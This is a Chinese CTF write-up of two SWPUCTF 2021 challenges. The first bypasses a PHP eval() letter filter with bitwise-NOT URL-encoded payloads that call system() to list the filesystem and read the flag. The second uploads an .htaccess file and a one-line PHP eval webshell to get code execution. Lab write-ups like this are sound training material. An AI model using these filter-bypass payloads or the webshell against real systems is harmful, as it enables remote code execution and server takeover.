[SWPUCTF 2021 新生赛]hardrce
1、题目
2、知识点
rce:远程代码执行、url取反编码
3、解题思路
打开题目
出现一段代码,审计源代码
题目需要我们通过get方式输入变量wllm的值
但是变量的值被过滤了,不能输入字母和\t、\n等值
所以我们需要绕过这些过滤
源代码有eval函数,说明存在rce(远程代码执行漏洞),我们可以构造系统执行命令获取服务器的数据
eval()
通过查看wp,我们可以对输入的内容,先取反,再进行url编码,然后再进行取反传给服务器端
这里为什么要进行取反呢?
因为取反后再编码的数据不会被识别为字母,且没有那些被过滤的字符
~ 就是取反符号
例如
我们可以先构造phpinfo()尝试是否可以实现
执行php代码我是在网上找了一个在线工具,url如下
PHP 在线工具 | 菜鸟工具 (jyshare.com)
编码
<?php
echo urlencode(~'phpinfo');
?>
将编码后的值再取反传给wllm
http://node5.anna.nssctf.cn:26911/?wllm=(~%8F%97%8F%96%91%99%90)();
结果正常执行,说明这种方式可以绕过。
接下来因为有eval函数,我们可以构造系统执行命令进行执行
<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'ls /');
?>
php执行系统命令,需要使用好system这个函数
http://node5.anna.nssctf.cn:26911/?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
可以看到有flllllaaaaaaggggggg这个文件
使用cat命令
<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'cat /flllllaaaaaaggggggg');
?>
http://node5.anna.nssctf.cn:26911/?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);
得到flag NSSCTF{99f12d58-f315-4e8d-a69d-ba2572aaf510}
[SWPUCTF 2021 新生赛]easyupload3.0
1、题目
2、知识点
文件上传绕过,.htaccess文件的利用
3、解题思路
打开题目,是一道文件上传的题目,我们先上传一个文件,并抓包看看
是一个apache服务
尝试改后缀,发现绕过不了
这里使用了apache服务,可以采用.htaccess文件进行绕过
我们可以上传一个.htaccess文件,内容如下
<FilesMatch "abc.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
这段代码的作用是将abc.jpg文件当成php文件执行,abc.jpg是我们自己构造上传的,可以根据自己需要命令
将.htaccess文件上传后我们就上传abc.jpg文件,内容为一句话木马
<?php
@eval($_POST['cmd']);
?>
上传完成功后使用蚁剑进行连接
连接成功后可以看到服务器的文件,在html文件夹下可以看到flag.php文件,打开得到flag
NSSCTF{bf0e1c22-b359-4868-94bb-ccc79a7501bf}
这篇文章就先写到这里了,哪里不足的欢迎批评指正